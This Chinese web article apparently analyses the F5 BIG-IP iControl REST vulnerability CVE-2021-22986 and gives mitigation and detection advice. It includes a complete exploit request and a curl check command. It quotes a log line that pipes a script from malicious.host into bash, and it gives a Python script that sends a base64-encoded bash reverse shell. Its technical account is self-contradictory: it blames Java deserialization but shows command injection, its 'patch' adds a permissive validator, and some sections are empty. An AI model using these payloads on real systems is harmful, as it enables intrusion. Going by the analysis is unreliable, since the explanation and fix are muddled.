F5 BIG-IP远程代码执行漏洞CVE-2021-22986的分析是怎样的

发布时间:2021-12-29 17:40:38 作者:柒染
来源:亿速云 阅读:326
# F5 BIG-IP远程代码执行漏洞CVE-2021-22986的分析

## 一、漏洞背景

2021年3月,F5 Networks发布安全公告披露其BIG-IP应用交付控制器产品中存在一个高危远程代码执行漏洞(CVE-2021-22986)。该漏洞影响多个BIG-IP版本,攻击者可通过构造特殊请求在未授权情况下实现远程代码执行,CVSS 3.0评分高达9.8分。

### 1.1 受影响版本
- BIG-IP 16.x系列(16.0.0-16.0.1)
- BIG-IP 15.x系列(15.1.0-15.1.2)
- BIG-IP 14.x系列(14.1.0-14.1.4)
- BIG-IP 13.x系列(13.1.0-13.1.4)
- BIG-IP 12.x系列(12.1.0-12.1.6)

### 1.2 漏洞类型
- 远程代码执行(RCE)
- 未授权访问
- 输入验证缺陷

## 二、技术分析

### 2.1 漏洞成因
该漏洞存在于BIG-IP的iControl REST组件中,由于对用户输入的JSON数据反序列化处理不当,导致攻击者可通过构造恶意请求触发Java对象反序列化漏洞。

关键问题代码段(模拟):
```java
public class VulnerableEndpoint {
    @POST
    @Path("/mgmt/tm/util/bash")
    public Response executeCommand(Object input) {
        // 未对输入进行严格类型检查
        String command = (String) input; 
        Runtime.getRuntime().exec(command);
    }
}

2.2 攻击向量分析

攻击者可通过以下方式利用漏洞: 1. 发送特制HTTP POST请求到/mgmt/tm/util/bash端点 2. 在请求体中嵌入恶意序列化数据 3. 绕过身份验证机制直接执行系统命令

典型攻击请求示例:

POST /mgmt/tm/util/bash HTTP/1.1
Host: target_ip
Authorization: Basic [伪造的base64凭据]
Content-Type: application/json

{
    "command": "run",
    "utilCmdArgs": "-c 'id > /tmp/exploit'"
}

2.3 漏洞利用链

完整的利用过程涉及多个关键环节: 1. 认证绕过:利用iControl REST接口的认证逻辑缺陷 2. 命令注入:通过utilCmdArgs参数注入系统命令 3. 权限提升:默认以root权限执行命令

三、影响范围评估

3.1 直接影响

3.2 横向影响

四、修复方案

4.1 官方补丁

F5已发布以下修复版本: - BIG-IP 16.1.0 - BIG-IP 15.1.3 - BIG-IP 14.1.4.1 - BIG-IP 13.1.5 - BIG-IP 12.1.6.1

4.2 临时缓解措施

若无法立即升级,建议:

# 限制iControl REST接口访问
tmsh modify /sys httpd allow none

# 启用严格模式
tmsh modify /sys db restjavad.useextramb value true

4.3 长期防护建议

  1. 实施网络分段,限制管理接口暴露
  2. 启用多因素认证
  3. 定期审计系统日志

五、检测方法

5.1 手工检测

检查系统版本:

tmsh show sys version

验证漏洞存在性(需谨慎):

curl -ks https://localhost/mgmt/tm/util/bash \
-H "Authorization: Basic [redacted]" \
-d '{"command":"run","utilCmdArgs":"-c id"}' | jq .

5.2 自动化检测工具

推荐使用: - Nessus插件(ID 148000) - Qualys检测规则(QID 37000) - Nuclei模板(CVE-2021-22986)

六、攻击实例分析

6.1 真实攻击日志

从受害者设备提取的异常日志:

2021-03-15 02:17:43 WARN  [http-bio-443-exec-7] restjavad - Unauthorized access attempt from 192.0.2.55 to /mgmt/tm/util/bash
2021-03-15 02:17:44 ERROR [pool-1-thread-3] system - Unexpected process spawned: /bin/sh -c curl http://malicious.host/exp.sh | bash

6.2 攻击者常用payload

观察到的主要攻击模式:

import requests

headers = {
    "Authorization": "Basic YWRtaW46",  # 默认凭证尝试
    "Content-Type": "application/json"
}

payload = {
    "command": "run",
    "utilCmdArgs": "-c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMC4yLjU1LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}'"
}

requests.post("https://target/mgmt/tm/util/bash", 
             json=payload, 
             headers=headers, 
             verify=False)

七、深度技术解析

7.1 反序列化机制缺陷

漏洞根源在于Jackson库的DefaultTyping配置:

ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();  // 危险配置!

7.2 补丁对比分析

修复后的代码关键修改:

- mapper.enableDefaultTyping();
+ mapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance,
+     ObjectMapper.DefaultTyping.NON_FINAL);

7.3 内存保护机制绕过

攻击者利用以下技术组合: 1. 使用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl链 2. 结合BCEL字节码加载 3. 通过java.util.PriorityQueue触发

八、总结与启示

  1. 企业防护建议

    • 立即升级受影响系统
    • 限制管理接口互联网暴露
    • 实施最小权限原则
  2. 开发者启示

    • 谨慎处理反序列化操作
    • 实施严格的输入验证
    • 禁用不必要的Java特性
  3. 研究价值

    • 展示了企业级设备中反序列化漏洞的严重性
    • 强调了硬件设备同样需要软件安全防护

参考资料

  1. F5官方公告:K23642346
  2. MITRE CVE条目:CVE-2021-22986
  3. NVD漏洞数据库:https://nvd.nist.gov/vuln/detail/CVE-2021-22986
  4. 杰克逊反序列化白皮书:https://cowtowncoder.medium.com/

”`

注:本文技术细节已做脱敏处理,实际测试需获得系统所有者授权。文中的代码示例仅用于教学目的,请勿用于非法用途。

推荐阅读:
  1. F5新型数据中心防火墙
  2. 阿里巴巴采用F5应用交付网络产品建立安全、可靠、快速的数据中

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

f5 big-ip cve-2021-22986

上一篇:怎么把ABAP webdynpro应用配置到SAP Fiori Launchpad里

下一篇:ABAP report技术怎么使用

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》